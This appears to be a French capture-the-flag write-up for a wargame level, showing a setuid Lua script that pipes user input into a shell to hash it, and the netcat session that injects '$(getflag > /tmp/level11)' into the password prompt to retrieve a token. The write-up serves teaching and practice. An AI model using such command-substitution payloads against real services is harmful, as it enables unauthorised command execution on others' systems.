68 lines
1.7 KiB
Markdown
68 lines
1.7 KiB
Markdown
Lors de mon arriver sur le level 11 je remarque un fichier lua lisble
|
|
|
|
```bash
|
|
ls -l
|
|
total 4
|
|
-rwsr-sr-x 1 flag11 level11 668 Mar 5 2016 level11.lua
|
|
```
|
|
|
|
Je l'ouvre pour regarder le contenue
|
|
```lua
|
|
#!/usr/bin/env lua
|
|
local socket = require("socket")
|
|
local server = assert(socket.bind("127.0.0.1", 5151))
|
|
|
|
function hash(pass)
|
|
prog = io.popen("echo "..pass.." | sha1sum", "r")
|
|
data = prog:read("*all")
|
|
prog:close()
|
|
|
|
data = string.sub(data, 1, 40)
|
|
|
|
return data
|
|
end
|
|
|
|
|
|
while 1 do
|
|
local client = server:accept()
|
|
client:send("Password: ")
|
|
client:settimeout(60)
|
|
local l, err = client:receive()
|
|
if not err then
|
|
print("trying " .. l)
|
|
local h = hash(l)
|
|
|
|
if h ~= "f05d1d066fb246efe0c6f7d095f909a7a0cf34a0" then
|
|
client:send("Erf nope..\n");
|
|
else
|
|
client:send("Gz you dumb*\n")
|
|
end
|
|
|
|
end
|
|
|
|
client:close()
|
|
end
|
|
```
|
|
|
|
Le hash a ete decode via [CrashStation](https://crackstation.net/) et donne en sha1 NotSoEasy
|
|
Ce n'est donc pas la reponse mais il fallait bien tenter
|
|
|
|
Lors de la lecture du script nous pouvons voir que le port 5151 est ouvert et donc nous pouvons essayer de le lancer avec un netcat en ecoute de ce dernier
|
|
|
|
Lorsqu'il est en ecoute il demande un password
|
|
```bash
|
|
nc localhost 5151
|
|
Password:
|
|
```
|
|
|
|
mais le hash est calculer en effectuant une commande `echo $args | sha1sum` (traduit en shell)
|
|
nous pouvons donc executer une commande sur cette derniere mais le resultat ne nous sera pas afficher car pas envoyer au client mais nous pouvons la lancer directement pour rediriger dans un fichier
|
|
```bash
|
|
nc localhost 5151
|
|
Password: $(getflag > /tmp/level11)
|
|
Erf nope...
|
|
|
|
cat /tmp/level11
|
|
Check flag.Here is your token : fa6v5ateaw21peobuub8ipe6s
|
|
```
|
|
|